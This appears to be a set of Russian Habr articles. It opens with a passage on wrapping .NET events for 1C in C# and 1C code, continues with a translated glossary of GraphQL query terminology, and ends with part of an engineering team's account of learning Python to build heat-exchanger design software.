Чистые 1С ники могут пропустить вражеский код.
```
public class ВрапперДляSystem_IO_FileSystemWatcher
{
Action СобытиеДля1С;
System.IO.FileSystemWatcher РеальныйОбъект;
public ВрапперДляSystem\_IO\_FileSystemWatcher(Action СобытиеДля1С, System.IO.FileSystemWatcher РеальныйОбъект)
{
this.СобытиеДля1С = СобытиеДля1С;
this.РеальныйОбъект = РеальныйОбъект;
РеальныйОбъект.Changed += (sender,e) =>
{
var Changed = new { sender=sender,e=e};
СобытиеДля1С?.DynamicInvoke("System\_IO\_FileSystemWatcher","Changed",Changed);
};
РеальныйОбъект.Created += (sender,e) =>
{
var Created = new { sender=sender,e=e};
СобытиеДля1С?.DynamicInvoke("System\_IO\_FileSystemWatcher","Created",Created);
};
РеальныйОбъект.Deleted += (sender,e) =>
{
var Deleted = new { sender=sender,e=e};
СобытиеДля1С?.DynamicInvoke("System\_IO\_FileSystemWatcher","Deleted",Deleted);
};
РеальныйОбъект.Error += (sender,e) =>
{
var Error = new { sender=sender,e=e};
СобытиеДля1С?.DynamicInvoke("System\_IO\_FileSystemWatcher","Error",Error);
};
РеальныйОбъект.Renamed += (sender,e) =>
{
var Renamed = new { sender=sender,e=e};
СобытиеДля1С?.DynamicInvoke("System\_IO\_FileSystemWatcher","Renamed",Renamed);
};
}
public static object СоздатьОбъект(Action СобытиеДля1С, System.IO.FileSystemWatcher РеальныйОбъект)
{
return new ВрапперДляSystem\_IO\_FileSystemWatcher(СобытиеДля1С, РеальныйОбъект);
}
}
return new Func,System.IO.FileSystemWatcher,object>(ВрапперДляSystem\_IO\_FileSystemWatcher.СоздатьОбъект);
```
Создаем класс, подписываемся на события. В событии создаем анонимный класс из параметров и вызываем метод, который в итоге вызовет вышеописанныую функцию в 1С.
Для того, что бы закэшировать результат компиляции создадим класс.
```
public class КомВраперДляСобытий
{
public static readonly Func, T, object> СоздательОбертки;
public static Func, T, object> СоздатьОбертку()
{
Type типРеальногоОбъекта = typeof(T);
string ТипСтрРеальногоОбъекта = типРеальногоОбъекта.FullName;
var ИмяКласса = "ВрапперДля" + ТипСтрРеальногоОбъекта.Replace(".", "\_").Replace("+", "\_");
var ДСМВ = new ДляСозданияМодуляВрапера();
string строкаКласса = ДСМВ.СоздатьОписания(типРеальногоОбъекта);
var scr = Microsoft.CodeAnalysis.Scripting.ScriptOptions.Default;
var Сборки = ДСМВ.СборкиВПараметрах.Keys.ToArray();
scr = scr.WithReferences(Сборки)
.WithImports("System");
var res = (Func, T, object>)Microsoft.CodeAnalysis.CSharp.Scripting.CSharpScript.EvaluateAsync(строкаКласса, scr).Result;
return res;
}
static КомВраперДляСобытий()
{
СоздательОбертки= СоздатьОбертку();
}
}
```
Создаем поле:
```
public static readonly Func, T, object> СоздательОбертки;
```
Которое инициализируется при создании класса в статическом конструкторе. При компиляции используются сборки типов параметров и тип оборачиваемого объекта. Этот подход часто используется при универсальном создании сериализаторов.
Теперь мы можем вызвать делегат для создания объекта обертки для событий так.
```
public static void ВызватьВнешнееСобытиеСОбъектом(string Источник,string Событие, object Данные)
{
// Задача из объекта Данные получить строку
// И вызвать внешнее событие в 1С
// И в зависимости от переданного типа получить строковое представление.
var ДанныеДля1с = AutoWrap.ОбернутьОбъект(Данные);
string res="";
if (Данные == null)
res = "";
else if (ДанныеДля1с is AutoWrap)
res = ((AutoWrap)ДанныеДля1с).ПолучитьСсылку();
else
res = ДанныеДля1с.ToString();
AutoWrap.ВызватьВнешнееСобытие1С(Источник, Событие, res);
}
public static object СоздатьОберткуДляСобытий(Object ОбъектССобытиями)
{
Type тип = ОбъектССобытиями.GetType();
Type genType = typeof(КомВраперДляСобытий<>);
Type constructed = genType.MakeGenericType(new Type[] { тип });
var ИмяСвойства = "СоздательОбертки";
var fi = constructed.GetField(ИмяСвойства);
Delegate функция = (Delegate)fi.GetValue(null);
// Получили делегат
// И из него получим объект обертку для событий который передадим в 1С для хранения ссылки на него
object обертка = функция.DynamicInvoke(new Action(ВызватьВнешнееСобытиеСОбъектом), ОбъектССобытиями);
return обертка;
}
```
Теперь перейдем к коду в 1С. В качестве получения кода на C# и 1С используется внешняя обработка ТестСобытийИзмененийВДиректории.epf.
```
Процедура СообщитьОбИзменении(знач Событие)
e=Событие.e;
Если e<>Неопределено Тогда
e=ъ(e);
ChangeType=ъ(e.ChangeType);
Сообщить( e.FullPath + " " + Врап.ВСтроку(ChangeType.ПолучитьСсылку()));
КонецЕсли;
КонецПроцедуры // СообщитьОбИзменении
// параметр Данные:Анонимный Тип
// Свойства параметра
// sender:System.Object
// e:System.IO.FileSystemEventArgs
Процедура Changed(Данные)
Сообщить("Changed "+Врап.ВСтроку(Данные.ПолучитьСсылку()));
СообщитьОбИзменении(Данные)
КонецПроцедуры
// параметр Данные:Анонимный Тип
// Свойства параметра
// sender:System.Object
// e:System.IO.FileSystemEventArgs
Процедура Created(Данные)
Сообщить("Created "+Врап.ВСтроку(Данные.ПолучитьСсылку()));
СообщитьОбИзменении(Данные)
КонецПроцедуры
// параметр Данные:Анонимный Тип
// Свойства параметра
// sender:System.Object
// e:System.IO.FileSystemEventArgs
Процедура Deleted(Данные)
Сообщить("Deleted "+Врап.ВСтроку(Данные.ПолучитьСсылку()));
СообщитьОбИзменении(Данные)
КонецПроцедуры
// параметр Данные:Анонимный Тип
// Свойства параметра
// sender:System.Object
// e:System.IO.ErrorEventArgs
Процедура Error(Данные)
Сообщить("Error "+Врап.ВСтроку(Данные.ПолучитьСсылку()));
СообщитьОбИзменении(Данные)
КонецПроцедуры
// параметр Данные:Анонимный Тип
// Свойства параметра
// sender:System.Object
// e:System.IO.RenamedEventArgs
Процедура Renamed(Данные)
Сообщить("Renamed "+Врап.ВСтроку(Данные.ПолучитьСсылку()));
СообщитьОбИзменении(Данные)
КонецПроцедуры
Функция ОбернутьОбъектНеопределенногоТипа(знач Ссылка)
Если Ссылка=null или Ссылка=Неопределено Тогда
возврат неопределено
КонецЕсли;
Если ТипЗнч(ссылка)=Тип("Строка") Тогда
Если найти(Ссылка,"ёЁ<Ьъ>№_%)Э?&")= 1 Тогда
возврат ъ(Ссылка)
КонецЕсли;
КонецЕсли;
возврат Ссылка
КонецФункции // ОбернутьОбъектНеопределенногоТипа()
Процедура ОбработкаВнешнегоСобытия(Источник, ИмяСобытия, Данные)
Сообщить(Источник);
Если Источник = "System_IO_FileSystemWatcher" Тогда
Объект= ОбернутьОбъектНеопределенногоТипа(Данные);
Выполнить(ИмяСобытия + "(Объект)");
КонецЕсли;
КонецПроцедуры // ОбработкаВнешнегоСобытия
```
Формируются методы обработчики по имени события которые вызываются через
```
Объект= ОбернутьОбъектНеопределенногоТипа(Данные);
Выполнить(ИмяСобытия + "(Объект)");
```
Такой подход сокращает ручное написание кода. Ну и создание отслеживание изменений в директории
```
Процедура Остановить()
Если watcher<>Неопределено Тогда
watcher.EnableRaisingEvents = false;
КонецЕсли;
КонецПроцедуры
Процедура КнопкаВыполнитьНажатие(Кнопка)
Остановить();
WatcherСборка=ъ(Врап.Сборка("System.IO.FileSystem.Watcher"));
WatcherТип=ъ(WatcherСборка.GetType("System.IO.FileSystemWatcher"));
NotifyFilters=ъ(WatcherСборка.GetType("System.IO.NotifyFilters"));
Директория=ОтслеживаемыйКаталог;//"c:\tmp\";
watcher=ъ(Врап.Новый(WatcherТип.ПолучитьСсылку(),Директория));
//watcher.NotifyFilter = NotifyFilters.LastAccess | NotifyFilters.LastWrite
// | NotifyFilters.FileName | NotifyFilters.DirectoryName;
// Only watch text files.
LastAccess=ъ(NotifyFilters.LastAccess);
LastWrite=ъ(NotifyFilters.LastWrite);
FileName=ъ(NotifyFilters.FileName);
DirectoryName=ъ(NotifyFilters.DirectoryName);
рез=ъ(Врап.OR(LastAccess.ПолучитьСсылку(),LastWrite.ПолучитьСсылку(),FileName.ПолучитьСсылку(),DirectoryName.ПолучитьСсылку()));
watcher.NotifyFilter=рез.ПолучитьСсылку();
watcher.Filter = "*.*";
watcher.IncludeSubdirectories = true;
watcher.EnableRaisingEvents = true;
СоздатьОбертку(Watcher);
КонецПроцедуры
```
По окончании нужно позаботиться об освобождении ресурсов.
```
Процедура ПриЗакрытии()
Если watcher<>Неопределено Тогда
Остановить();
Врап.ЗакрытьРесурс(watcher.ПолучитьСсылку());
watcher=Неопределено;
ОберткаСобытий=Неопределено;
GC=ъТип("System.GC");
GC.Collect();
GC.WaitForPendingFinalizers();
Врап= Неопределено;
КонецЕсли
КонецПроцедуры
```
Теперь можно использовать не только методы и свойства объектов .Net, но и события. При этом используя только родной для 1С ка язык программирования. И ни одной строчки на вражеском языке.
В заключении я хочу поделиться своим недоумением по поводу обсуждения статей. Все обсуждение сводится к Русслишу и ъ.
Я подниму проблемы при использовании Native API в [Кроссплатформенное использование классов .Net в 1С через Native ВК. Или замена COM на Linux](https://habrahabr.ru/post/304542/)
Так при создании Native API видны ноги из IDispatch. Но там использовались диспинтерфейсы для вызова только Invoke
**1.** Абсолютно не нужны методы FindMethod, FindProp, GetNParams, HasRetVal, GetParamDefValue
(IsPropReadable, IsPropWritable только для отладчика). Так как у методов bool CallAsProc, bool CallAsFunc, bool SetPropVal и bool GetPropVal есть возвращаемое значение об успешном выполнении. Информация об ошибке возвращается через AddError. Да и вызов по индексу это анахронизм от IDiapatch где было описание диспинтерфейсов для увеличения скорости вызова.
**2.** При возвращении методами SetPropVal и GetPropVal исключение не вызывается
**3.** Зачем то происходит установка свойств, там где в коде этого не требуется.
**4.** Вызывается метод как функция, там где метод вызывается как процедура.
**5.** Один из основных это нельзя вернуть и передать экземпляр ВК из методов ВК.
Я лично не вижу никаких проблем. Определить значение для такого типа и установить ссылку в поле pInterfaceVal.
В Native API есть структура
```
struct _tVariant
{
.....
_ANONYMOUS_STRUCT struct
{
void* pInterfaceVal;
IID InterfaceID;
}
......
TYPEVAR vt;
};
```
В которой можно использовать void\* pInterfaceVal; IID InterfaceID. А в vt; указать, что это ВК. С недавних пор можно передавать byte[]. Так можно пойти и дальше.
Подсчет ссылок происходит на стороне 1С. Передавать можно в том числе и объекты 1С только на время вызова метода. Так при использовании IDispatch в 1С нет проблем при передачи IDispatch в параметрах метода. Сейчас скорость вызова метода ВК почти в 15 раз медленнее вызова из С++ только
```
public static bool CallAsFunc(int Target, IntPtr ИмяМетодаPtr, IntPtr ReturnValue, IntPtr МассивПараметров, int РазмерМассива)
```
И медленнее в 5 раз аналогичного метода 1С. При этом вместо одного метода вызывается FindMethod, GetNParams, CallAsFunc. А если вызывать напрямую без ВК то и скорость будет аналогичной с использованием внутренних методов.
Сейчас при передаче в метод ВК через свойство метод(Объект.Свойство) или в метод по ссылке без знач. 1С пытается присвоить значение, даже если это значение не изменилось. Можно в ВК предустмотреть передачу измененных параметров.
Сейчас на Windows множество компонент на COM. Те же ADO,Excel итд. Можно легко создать свою COM библиотеку на любом языке.
Поэтому при опросе почему не используют [Использование сборок .NET в 1С 7.x b 8.x. Создание внешних Компонент](http://infostart.ru/public/238584/)
Большинство отвечает, что не намерены использовать продукт неизвестно от кого. Эта ситуация аналогична с ЯП Nemerle. Язык который мощнее C#, но за которым стоят энтузиасты никому не нужен. Но при этом все соглашаются, что если бы эта компонента была интегрирована в 1С на подобии ComОбъект то все ею бы пользовались.
Что касается кроссплатформенности, то .Net Core дает эту возможность. При этом эта технология сейчас активно развивается [.NET Core Roadmap](https://blogs.msdn.microsoft.com/dotnet/2016/07/15/net-core-roadmap/)
Как я показал можно использовать любые классы .Net Core только на языке 1С. Можно использовать динамическую компиляцию скриптов или написать свою Сборку на C#, что значительно проще чем писать ВК.
Я знаю, что на данной площадке много разработчиков 1С. И у меня большая просьба к ним дать совет по развитию данной разработки. Если 1С не намерена изменять Native API, то я силы кину на что то другое. Хотя на данную разработку ушли годы и мне очень жалко её. Она как ребенок.
Я готов бесплатно участвовать в исследовательском проекте по применение .Net Core в 1С. Главное, что бы силы были потрачены не зря.
А возможности кроссплатформенного использования .Net Core в 1С колосcальные. Но вот мне интересно почему 1С не нужны? Вот ответ на этот вопрос я хотел бы услышать. Что касается Linux то на мои вопросы, чего не хватает по сравнению с Windows основным было это
> Главная проблема — клиентов на линукс перевести. А тут главный тормоз — работа с торговым оборудованием. Плохо дело с готовыми и надежными дровами под Native API под всякое разное. А высокоуровневая байда как-то и не держит особо. Технически, во всяком случае.
В свое время работя с Торговым оборудованием обязательно были SDK на C#. Даже под WiCE. Многие были интероп обертками над нативными библиотеками. С появлением .Net Core будут делать под NetStandart. И на Линукс станет повеселее.
Исходники и примеры можно скачать [Здесь](https://yadi.sk/d/jRSHEA19svgrn) | https://habr.com/ru/post/309850/ | null | ru | null |
# Анатомия запросов GraphQL
Джентльменский набор терминов
-----------------------------
Новый стандарт получения данных GraphQL стал популярен совсем недавно. Сейчас активно обсуждается развитие этой технологии, появляются все новые инструменты. Одно из достоинств GraphQL – он дает команде разработчиков универсальный язык для описания того, какие данные доступны в API. Но в каких терминах обсуждать сам язык запросов и технологию в целом?
[Спецификация GraphQL](https://facebook.github.io/graphql/#sec-Language) содержит почти исчерпывающий набор терминов по всем аспектам GraphQL. Но спецификация довольно объемна. В этой статье мы на конкретных примерах узнаем наиболее важные понятия и термины, которых достаточно для обсуждения GraphQL на уровне специалиста.
Примечание – Эта статья не лучший выбор для изучения GraphQL с нуля. Сначала рекомендуется ознакомиться с [материалами на сайте graphql.org](http://graphql.org/learn/), попробовать GraphQL в превосходном курсе [Изучаем Apollo](https://www.learnapollo.com/introduction/get-started/) и затем вернуться к статье, чтобы погрузиться в язык технических терминов.
Основные запросы GraphQL
------------------------
Часто запросом называют все, что уходит на сервер GraphQL. С этим связана некоторая путаница. Что является задачей для сервера, о выполнении которой его просят? Это может быть запрос данных (query), мутация (mutation) или подписка (subscription). Слово «запрос» прочно ассоциируется с сетевым запросом в понимании HTTP и транспортного уровня. Поэтому начать следует с нескольких общих понятий:
* **Документ GraphQL** (GraphQL document). Строка на языке GraphQl, описывающая одну или несколько операций или фрагментов.
* **Операция** (Operation). Единичный запрос данных, мутация или подписка, которые интерпретирует исполняемый модуль GraphQL.
Из чего состоит простейшая операция? Для примера возьмем очень простой документ GraphQL.
Рис. Составные части простого запроса.
Здесь показаны основные конструкции GraphQL, с помощью которых описываются запрашиваемые данные.
* **Поле** (Field). Единица запрашиваемых данных, которая становится полем в ответе JSON. Обратите внимание, эти части называются «полями», как бы глубоко не находились в структуре запросе. Поле на вершине операции действует так же, как находящееся уровнем глубже.
* **Аргументы** (Arguments). Набор пар ключ-значение, связанных с конкретным полем. Они передаются на сервер обработчику поля и влияют на получение данных. Аргументы могут быть литералами, как показано выше, или переменными, как в следующем примере. Надо отметить, что аргументы могут быть у любого поля, независимо от его уровня вложенности.
Приведенный выше запрос является несколько сокращенной формой GraphQL, позволяющей выразить потребность в данных максимально лаконично. Но операция GraphQL может включать еще три дополнительные части. Они используются, когда необходимо выполнить иное действие, чем запрос данных, или отправить динамически сформированные переменные.
В следующем примере показаны все эти части.
Рис. Более детальный запрос и его составные части.
* **Тип операции** (Operation type). Возможно одно из трех значений: *query*, *mutation*, *subscription*, что указывает на тип выполняемой операции. Хотя языковые конструкции с разными операциями выглядят похоже, спецификация GraphQL предусматривает для них отличающиеся режимы выполнения на сервере.
* **Имя операции** (Operation name). Присваивать имена удобно для отладки и логирования на сервере. Если что-не так в сетевых логах или инструмент типа [Apollo Optics](http://www.apollodata.com/optics/) показывает проблемы на сервере GraphQL, легче найти проблемный запрос в проекте по имени, чем разбирать содержимое запроса. Имя операции подобно имени функции в языке программирования.
* **Определение переменных** (Variable definitions). Запрос GraphQL может иметь динамическую часть, которая меняется при разных обращениях к серверу, в то время как текст запроса остается постоянным. Это *переменные* запроса. В языке GraphQL статическая типизация, что позволяет проверять значения переменных. В данной части объявляются типы переменных.
Переменные передаются отдельно от текста запроса в формате, принятом на транспортном уровне. В современных реализациях GraphQL обычно используется JSON. Вот как может выглядеть объект с переменными для показанного ранее запроса:
Рис. Пример объекта с переменными.
Как видно, ключ совпадает с названием, указанным в описании переменных. Значение взято из перечислимого типа `Episode`.
* **Переменные** (Variables). Словарь значений, сопутствующий операции GraphQL. Содержит динамические параметры операции.
Еще одно базовое понятие не часто упоминается, но важно при обсуждении технических аспектов GraphQL – чем является то, что заключено в фигурные скобки?
Термин *выборка* (selection set) постоянно встречается в спецификации GraphQL. Именно с ним связана рекурсивная природа GraphQL, в которой возможны вложенные запросы.
* **Выборка** (Selection set). Набор полей, запрашиваемых в операции или внутри другого поля. Для поля необходимо указать выборку, если поле возвращает объектный тип данных. Напротив, для скалярных полей типа `Int` и `String` не допускается указывать выборку.
Фрагменты
---------
Фрагменты приносят еще больше возможностей в GraphQL. Вместе с тем приходя новые понятия.
* **Определение фрагмента** (Fragment definition). Часть документа GraphQL, описывающая фрагмент GraphQL. Также называется *именованным фрагментом* (named fragment) в противоположность *встроенному фрагменту* (inline fragment), о котором будет сказано ниже.
* **Имя фрагмента** (Fragment name). У каждого фрагмента уникальное в пределах документа имя. Оно используется для ссылки на фрагмент в операции или в другом фрагменте. Это имя, так же как имя операции, удобно использовать для логирования на сервере. Поэтому рекомендуется давать понятные имена, говорящие о назначении фрагмента. Если понадобится оптимизировать запросы, правильно подобранное имя облегчает поиск места в коде, где задан фрагмент.
* **Применимость к типу** (Type condition). В отличие от операции GraphQL, которая всегда начинается с одного из типов: query, mutation или subscription, – фрагмент может быть использован в разных выборках. Чтобы фрагмент можно было сам по себе проверить на соответствие схеме, указывается пользовательский тип данных, к которому применим фрагмент.
### Использование фрагментов в операциях
Фрагменты не особо полезны вне операций. Возможны два способа вставки фрагментов, как показано ниже.
Рис. Два типа фрагментов в запросе.
* **Развертка фрагмента** (Fragment spread). Чтобы вставить фрагмент в операцию или в другой фрагмент, указывается `…` перед названием фрагмента. Это называется разверткой. Она может присутствовать в выборке, которая применяется к тому же типу что и фрагмент.
* **Встроенный фрагмент** (Inline fragment). Добавляет поля в выборку в зависимости от типа, к которому эта выборка применяется. При этом не создается внешнее определение фрагмента. Встроенный фрагмент подобен именованному, но задается в самом запросе. Отличие от именованного фрагмента в том, что не обязательно указывать тип данных. Чаще такие фрагменты используют вместе с директивами, как будет показано далее.
Директивы
---------
С помощью директив реализуются дополнительные функции сервера GraphQL. Директивы не влияют на результирующие значения, но могут влиять на состав возвращаемых данных и, возможно, на то, как они получены. Директивы можно встретить почти в любом месте запроса, но в данной статье упоминаются только директивы *skip* и *include*, которые определены в текущей спецификации GraphQL.
Рис. Показанные конструкции вряд ли встречаются в одном запрос, но их удобно разом продемонстрировать в таком виде.
На рисунке – не связанные между собой примеры того, где можно использовать директивы `skip` и `include`. Они задают условия исполняемому модулю GraphQL игнорировать поля и не включать их значения в результат. Синтаксис директив открытый, и с их помощью разные реализации GraphQL могут добавлять новые возможности, не сильно усложняя разбор и выполнение запросов.
* **Директивы** (Directives). Аннотации полей, фрагментов и операций, влияющие на их выполнение и возврат результатов.
* **Аргументы директив** (Directive arguments). Имеют тот же смысл, как аргументы полей, но обрабатываются в исполняемом модуле GraphQL, а не передаются в функции-обработчики полей.
Включайтесь в обсуждение
------------------------
Важное достоинство GraphQL – наличие универсального языка, с помощью которого можно описывать получение данных. Теперь у вас есть джентельменский набор терминов для обсуждения GraphQL, например в рамках продолжающейся [дискуссии о подписках GraphQL](https://dev-blog.apollodata.com/the-next-step-for-realtime-data-in-graphql-b564b72eb07b).
В этой статье мы коснулись лишь части спецификации GraphQL, которая посвящена языку запросов. В следующих статьях мы, возможно, рассмотрим термины, в которых описывается схема GraphQL.
Хотите использовать технолоии GraphQL в повседневной работе? У нас есть различные [вакансии](https://www.meteor.io/jobs/) на frontend, backend и open source!
Перевод [статьи](https://dev-blog.apollodata.com/the-anatomy-of-a-graphql-query-6dffa9e9e747). Автор оригинала [Sashko Stubailo](https://dev-blog.apollodata.com/@stubailo) | https://habr.com/ru/post/335050/ | null | ru | null |
# Создание Minimum Viable Product в сфере энергетики за 1,5 года командой инженеров без навыков программирования
Кожухотрубчатый теплообменник0. Что имеем на старте
----------------------
1. Компания ***L\*\*\*\****, находясь, в непростой для себя точке решает изменить модель бизнеса и принимает решение пойти в область IT. За ***10 лет*** компания спроектировала и запустила в работу более ***90*** кожухотрубчатых теплообменников. На базе данного опыта решено было создать облачный сервис для автоматизированного подбора и проектирования теплообменных аппаратов.
2. Из первоначального штата компании (более ***80*** человек) в группу разработки вошли ***6*** человек:
1. Инженер-конструктор 1-ой категории *(есть небольшой опыт на* VBA*)*
2. Инженер-теплотехник 2-ой категории *(без опыта программирования)*
3. Инженер-теплотехник 3-ий категории *(без опыта программирования)*
4. Инженер-физик *(без опыта программирования)*
5. Инженер-химик *(подключился к проекту через полгода, годовой курс по Python)*
6. Инженер-математик *(есть опыт программирования на PHP)*
1. Подготовка
-------------
### 1.1. Выбор стека
Руководителем группы был выбран Инженер-математик, обладавший на тот момент наибольшим опытом программирования. Им и было предложено в качестве языка программирования был выбрать Python по следующим ключевым причинам:
1. Всем из команды очень понравилась [философия](https://tyapk.ru/blog/post/the-zen-of-python) Python :)
2. Простота синтаксиса и читаемость кода
3. Хорошая поддержка ООП
4. Наличие большого количества готовых прикладных библиотек
В качестве среды разработки был выбран JupyterLab, тогда еще версии 2.0:
JupyterLab 2.0В качестве базы данных выбрали MySQL, поскольку у руководителя проекта в ней тоже был опыт работы.
### 1.2. Первый план на полгода
Первым шагом было создание плана разработки на полгода. Создан был план в корпоративной MediaWiki:
План реализации проекта до конца 2020 года2. Обучение Python
------------------
Поскольку навыков программирования в Python не было ни у одного члена команды мы начали с самых азов.
В качестве ориентиров были [бесплатный курс](https://practicum.yandex.ru/backend-developer/) по Python от Яндекса и [курс лекций](https://www.youtube.com/c/%D0%A2%D0%B8%D0%BC%D0%BE%D1%84%D0%B5%D0%B9%D0%A5%D0%B8%D1%80%D1%8C%D1%8F%D0%BD%D0%BE%D0%B2) от Тимофея Хирьянова.
Примеры, разобранные в учебных курсах мы сразу адаптировали под задачи нашего проекта, затем совместно разбирали данную тему уже на этих адаптированных примера и выполняли самостоятельное домашнее задание, которое тоже было адаптировано под нашу тематику. В итоге у нас получилось порядка 8 уроков.
Пример из урока по функциям
```
# Одна или несколько переменных в функции могут быть заданы по умолчанию
# Но сначала в функции должны быть перечислены обязательные аргументы
def F(Q = 1.5, dT = 10, k = 1600):
return Q*10**6/(k*dT)
print(F())
print(F(1.5,14))
print(F(dT=14, Q=1.5))
print(F(Q=1.5, dT=14)) # к берется по умолчанию равным 1600
print(F(Q=1.5, dT=14, k=2000))
```
Пример домашнего задания
```
# Ниже подготовлен массив свойств воды:
# [tºС, ρ кг/м³, ср Дж/(кг×К), λ Вт/(м×К), μ н×с/м²]
WP = [
[1,1000,4218,0.564,0.001790],
[5,1000,4208,0.572,0.001549],
[10,1000,4196,0.582,0.001306],
[15,999,4191,0.591,0.001160],
[20,999,4185,0.600,0.001002],
[25,997,4183,0.608,0.000900],
[30,996,4180,0.615,0.000798],
[35,994,4180,0.622,0.000726],
[40,993,4179,0.629,0.000653],
[45,991,4180,0.635,0.000600],
[50,988,4180,0.641,0.000547],
[55,986,4172,0.646,0.000507],
[60,984,4183,0.651,0.000467],
[65,981,4186,0.656,0.000436],
[70,978,4188,0.660,0.000404],
[75,975,4192,0.664,0.000379],
[80,972,4196,0.667,0.000355],
[85,969,4201,0.670,0.000335],
[90,966,4205,0.673,0.000315],
[95,962,4211,0.676,0.000298],
[100,959,4217,0.678,0.000282],
[110,951,4230,0.682,0.000255],
[120,944,4246,0.684,0.000232],
[130,935,4265,0.685,0.000213],
[140,926,4286,0.685,0.000197],
[150,917,4310,0.684,0.000183],
[160,908,4338,0.682,0.000170],
[170,898,4369,0.679,0.000160],
[180,887,4406,0.675,0.000150],
[190,876,4447,0.669,0.000142],
[200,865,4494,0.663,0.000134],
[210,853,4548,0.656,0.000128],
[220,840,4611,0.648,0.000122],
[230,827,4683,0.639,0.000116],
[240,814,4767,0.629,0.000111],
[250,799,4865,0.618,0.000106],
[260,784,4981,0.606,0.000102],
[270,768,5120,0.592,0.000098],
[280,751,5290,0.578,0.000094],
[290,732,5490,0.562,0.000090],
[300,712,5750,0.545,0.000086]
]
print(WP[20][2])
# Задача: Написать функцию сведения теплового баланса
# с любым одним необязательным параметром
# Исходные данные (запрашиваются у пользователя)
# t1, Цельсий - температура на входе в трубное
# t2, Цельсий - температура на выходе в трубное
# T1, Цельсий - температура на входе в межтрубное
# T2, Цельсий - температура на выходе в межтрубное
# g, кг/час - расход среды в трубном
# G, кг/час - расход среды в трубном
# Вывод программы:
# t1 труб. вход =
# t2 труб. выход =
# T1 межтруб. вход =
# T2 межтруб. выход =
# g труб. =
# G межтруб. =
# Q труб. =
# Q межтруб. =
```
3. Начало работы
----------------
На момент старта проекта в компании ***L\*\*\*\**** был реализован механизм расчета теплообменника в виде Excel файла. Вот его вид:
Расчет кожухотрубчатого теплообменника в ExcelПример логики в данном расчете :)Для перевода данного расчета на Python следовало решить ряд подготовительных задач:
* Оцифровать графики TEMA для определения поправки Z
* Построить коммуникацию через API с пакетом теплофизических свойств для решения задачи по сведению теплового баланса
* Занести в базу данных таблицы из ГОСТа: 34347-2017 сосуды и аппараты стальные сварные. общие технические условия / 34347 2017
### 3.1. Оцифровка графиков TEMA
Вид графика из TEMAИтоговый результат оцифровкиДля каждого графика получается такая таблица в ExcelРезультат перевода в массивы Python
```
Mas_7_11 = [
[
0.1,
[
[1.000000000000000, 0.499999999999999],
[0.999322833180564, 0.613635531736094],
[0.997093063158007, 0.664615593443683],
[0.996832262423495, 0.737096845531233]
]
]
]
```
### 3.2. Связь по API с пакетом теплофизических свойств
Для сведения теплового баланса необходимо знать свойства сред для обоих теплоносителей.
В мире одним из самых крупных пакетов свойств является пакет компании Aspen Technology Inc. - [Aspen Properties](https://www.aspentech.com/en/products/engineering/aspen-properties).
У данного продукта есть хорошо документированный API и к нему мы и решили подключаться для получения нужных нам свойств.
Для реализации этой задачи был выбран подход в виде отдельного HTTP-API на базе Flask. Сервер принимает запросы и через API Aspen Properties запрашивает нужные свойства. Данный сервер работает на стороне клиента, так как требуется соответствующая лицензия на Aspen Properties.
### 3.3. Подготовка базы данных по ГОСТам
Как я уже говорил выше мы выбрали базу данных MySQL и в неё требовалось занести все табличные параметры из ГОСТов, используемых при проектировании нашего оборудования.
Как выяснится намного позже более эффективно будет преобразовать все талицы в Pandas dataframe'ы и работать с ними.
Вид таблиц в базе данных, содержащих ГОСТовские занченияВид таблицы из ГОСТ в базе данных MySQL4. Первые функции
-----------------
С момента начала обучения прошло примерно 2 месяца и у нас начали появлятся уже первые модули и функции.
Функция отрисовки фланца
```
import drawSvg as draw
def FlangeDrawing (D, D_1, D_2, D_6, d, n, d_1, D_m, D_n, H, H_1, b, h):
# Создаем холст размеров D+50
td = draw.Drawing(D+50, H+100, origin='center', displayInline=False)
#Рисуем оси
td.append(draw.Line(-D_1/2, h, -D_1/2, -b-2,style="stroke-dasharray: 20 5 2 5", stroke='#CC0000', stroke_width=0.75, fill='none'))
td.append(draw.Line(D_1/2, h, D_1/2, -b-2,style="stroke-dasharray: 20 5 2 5", stroke='#CC0000', stroke_width=0.75, fill='none'))
td.append(draw.Line(0, h, 0, -H, stroke='#CC0000',style="stroke-dasharray: 20 5 2 5", stroke_width=0.75, fill='none'))
#Рисуем тарелку фланца
td.append(draw.Rectangle(-D/2,-b, D, b, fill='none',stroke_width=2,stroke='blue'))
#Рисуем уплотнительную поверхность фланца
td.append(draw.Lines(-D_2/2-3, 0,
-D_2/2, h,
D_2/2, h,
D_2/2+3, 0,
close=False,
fill='none',stroke_width=2,
stroke='blue'))
#Рисуем присоединительные втулку фланца
td.append(draw.Lines(-D_m/2, -b,
-D_n/2, -(H-H_1-h),
-D_n/2, -(H-h),
D_n/2, -(H-h),
D_n/2, -(H-H_1-h),
D_m/2, -b,
close=False,
fill='none', stroke_width=2,
stroke='blue'))
return td
FlangeDrawing(250, 240, 212, 204, 22, 8, 146, 180,161, 60, 10, 22, 3)
```
Функция расчета входной группы
```
def ShellEntrance(VolumeFlow, D_nozzle, D_inside, OTL, D_tube, step_tube, plate, S_plate, entrance_baffle_spacing, h1, h2, F2, K):
if ((D_inside - OTL) / 2) > ((h1 + h2) / 2):
h = (D_inside - OTL) / 2
else:
h = (h1 + h2) / 2
if plate == False:
plate_k = 1
else:
plate_k = 0
As = ((3.14159 * D_nozzle * h) + (plate_k * 0.785 * D_nozzle * D_nozzle * (step_tube - D_tube) / F2 / step_tube)) / 1000000
Vs = VolumeFlow / As
if D_nozzle > K:
k = D_nozzle
else:
k = K
Ab = (entrance_baffle_spacing * (D_inside - OTL) + (entrance_baffle_spacing * (k - D_tube) - S_plate) * (step_tube - D_tube) / F2 / step_tube) / 1000000
Vb = VolumeFlow / Ab
return [Vs, Vb]
ShellEntrance(0.0192, 200, 500, 470, 16, 21, False, 0, 350, 78, 67, 1, 331)
```
Расчет температурного напора
```
def LMTD_countercurrent(t1, t2, T1, T2):
max_TD = max(T1-t2, T2-t1)
min_TD = min(T1-t2, T2-t1)
countercurrent_LMTD = (max_TD - min_TD)/math.log(max_TD/min_TD)
return countercurrent_LMTD
```
По мере освоения возможностей JupyterLab мы добрались до виджетов [ipywidgets](https://ipywidgets.readthedocs.io/en/latest/).
Как оказалось это незаменимый инструмент для визуализации геометрии аппарата, который позволил нам в разы сократить разработку модуля построения разбивок.
Интерактивный виджет в JupyterLab для построения разбивокВизуализация построения разбивок и расчета зазоров.5. Flask для HTTP API
---------------------
Изначально мы не думали про реализацию нашей системы в виде отдельного API. Но по мере продвижения проекта этот подход возник сам по себе.
Мы выбрали Flask в качестве веб-фреймворка для реализации API потому что:
1. Легковестность.
